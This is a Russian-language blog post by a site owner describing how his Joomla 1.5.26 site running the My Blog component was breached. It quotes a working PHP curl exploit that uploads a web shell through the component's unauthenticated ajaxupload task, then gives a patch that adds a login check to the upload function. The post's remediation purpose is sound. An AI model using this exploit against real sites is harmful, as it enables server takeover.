Сегодня я получил смс и емаил от хостинг - провайдера, о том, что мой сайт взломали:
Я быстро вычислил что проблема в 'ajax upload'
В гугле я нашел эксплоит:
Я попробовал загрузить файл и у меня получилось:
'file has been uploaded successfully'
{HEX}php.nested.base64.534 : /home/user157/domains/mysite.com/public_html/images/blog/csc.php.xxxjpgУ меня сайт на Joomla 1.5.26 component my_blog 3.0.332
Я быстро вычислил что проблема в 'ajax upload'
В гугле я нашел эксплоит:
- <?php
- $uploadfile="yourshell.php.xxxjpg";
- $ch = curl_init("http://target/index.php?option=com_myblog&task=ajaxupload");
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS,
- array('fileToUpload'=>"@$uploadfile"));
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $postResult = curl_exec($ch);
- curl_close($ch);
- print "$postResult";
- ?>
Я попробовал загрузить файл и у меня получилось:
'file has been uploaded successfully'
Как исправить уязвимость Joomla com_Myblog Arbitrary File Upload Vulnerability?
Найдите файл ajaxupload.php/components/com_myblog/task/ajaxupload.php
И добавьте в функцию myxAjaxUpload такой код
<?php
/**
* @package My Blog
* @copyright (C) 2008 by Slashes & Dots Sdn Bhd - All rights reserved!
* @license http://www.azrul.com Copyrighted Commercial Software
*/
defined('_JEXEC') or die('Restricted access');
class MyblogAjaxuploadTask
{
function display()
{
$this->myxAjaxUpload();
}
function myxAjaxUpload()
{
$my =& JFactory::getUser(); // get logged-in user
if ($my->id == "0") // if user not logged-in show error
{
# If user not logged in, cannot use upload blog
echo '<div id="fp-content">';
echo JText::_('you must LOGIN');
echo '</div>';
}
else // else original file
{
global $_MY_CONFIG;
require_once( MY_LIBRARY_PATH . DS . 'imagebrowser.php' );
$retVal = array('error' => '', 'msg' => '' , 'source' => '');
$resize = JRequest::getVar( 'resize' , false , 'GET' );
//check if there are files uploaded
if( (isset($_FILES['fileToUpload']['error']) && $_FILES['fileToUpload'] == 0)
|| (!empty($_FILES['fileToUpload']['tmp_name']) && $_FILES['fileToUpload']['tmp_name'] != 'none'))
{
$browser = new MYMediaBrowser();
$retVal = $browser->upload($_FILES['fileToUpload'], $resize);
}
else
{
$retVal['error'] = "No file has been uploaded.";
}
// Display JSON string to the caller
echo "{";
echo "error: '" . $retVal['error'] . "',\n";
// Test if 'source' index is set
if( isset($retVal['source']) && !empty($retVal['source']))
{
echo "msg: '" . $retVal['msg'] . "',\n";
echo "source: '" . $retVal['source'] . "'\n";
}
else
{
echo "msg: '" . $retVal['msg'] . "'\n";
}
echo "}";
exit;
}
}
function execute()
{
$this->myxAjaxUpload();
}
}